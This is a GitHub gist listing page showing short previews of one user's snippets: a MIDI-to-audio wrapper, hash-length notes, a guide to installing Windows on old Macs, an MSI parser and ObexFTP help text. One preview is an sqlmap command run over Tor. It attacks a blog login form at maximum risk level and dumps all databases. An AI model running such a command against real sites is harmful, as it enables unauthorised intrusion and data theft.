Skip to content

Instantly share code, notes, and snippets.

@TAbdiukov
TAbdiukov / midi2audio_wrap.py
Created April 1, 2019 00:18
wraps up midi2audio
#pip install midi2audio
from midi2audio import FluidSynth
import os, sys, string
from pathlib import Path
def main():
PROGRAM_NAME = "midi2audio_wrap"
if len(sys.argv) < 3: #-1
@TAbdiukov
TAbdiukov / thoughts_on_keccakmod.txt
Created April 5, 2019 22:57
thoughts on keccakmod used in NetComm censor
1. SHA3_224 => 224 bits
2. 224 (bits) [/8] = 28 (bytes)
3. 28 bytes [*2] = 56 (HEX places occupied) = 56 (-long String after digestion)
4. 56 String of HEXadecimals => max number is FFFF...FFFF (56 times). This number is:
(10 (base 16) ^ 57) - 1 = (16^57)-1
5. To find maximum String length base 62 (keccakmod), will use latural logs (coz idk how else). Do:
floor( ln((16^57)-1) / ln(62) ) + 1 ~= floor(158.037 / 4.127) + 1 ~= floor(38.292) + 1 = 38+1=39
* 39 is the maximum code length in Base62
#!/usr/bin/env python3
import sys
import platform
from os import system
def full_arg():
return " ".join(sys.argv[1:])
def PROGRAM_NAME():
sqlmap --tor --tor-type=SOCKS5 --random-agent --threads=10 --risk=3 --level=5 --dump-all --url="/blog/login/" --data "email=admin&password=password&remember=Y" -p "email,password" --method POST
needed to be while (mant_sum < 0x00800000) { not while (mant_sum <= 0x00400000) {, obvious now
@TAbdiukov
TAbdiukov / blog.md
Last active November 26, 2023 09:42

Installing Windows 7/8/10 into a ~2007-2010 Mac device with Mac OS X ~10.6 Snow Leopard with broken Boot Camp.

Note: The guide is mostly based off memory, and hopefully there aren't too many inaccuracies. As the guide is mostly historical at this point, steps are adjusted to modern age.

In this guide, the following OS was used:

  • Edition: Windows 7 Professional Service Pack 1
  • Bitness: 32 bit

However, the guide itself is not limited to Windows 7 or 32-bit, and it can be used to install (64-bit) Windows 8.1, 10 or beyond.

#!python3
import re
import sys
try:
fn = sys.argv[1]
except IndexError:
fn = "MYOB Premier v7.msi"
fp = open(fn, "rb")
ObexFTP 0.24
ObexFTP 0.24
Usage: obexftp [ -i | -b <dev> [-B <chan>] | -U <intf> | -t <dev> | -N <host> ]
[-c <dir> ...] [-C <dir> ] [-l [<dir>]]
[-g <file> ...] [-p <files> ...] [-k <files> ...] [-x] [-m <src> <dest> ...]
Transfer files from/to Mobile Equipment.
Copyright (c) 2002-2004 Christian W. Zuckschwerdt
-i, --irda connect using IrDA transport (default)
-b, --bluetooth [<device>] use or search a bluetooth device
obexftp -i -U IRMC -v -g "User Data/Java/34FE1CD6.JAR"
obexftp -i -U IRMC -g "User Data/Photo/Image/icons8.PnG"
ObexFTP 0.22
ObexFTP 0.22
Usage: ObexFtp [ -i | -b <dev> [-B <chan>] | -U <intf> | -t <dev> | -N <host> ]
[-c <dir> ...] [-C <dir> ] [-l [<dir>]]
[-g <file> ...] [-p <files> ...] [-k <files> ...] [-x] [-m <src> <dest> ...]
Transfer files from/to Mobile Equipment.
Copyright (c) 2002-2004 Christian W. Zuckschwerdt
-i, --irda connect using IrDA transport (default)
-b, --bluetooth [<device>] use or search a bluetooth device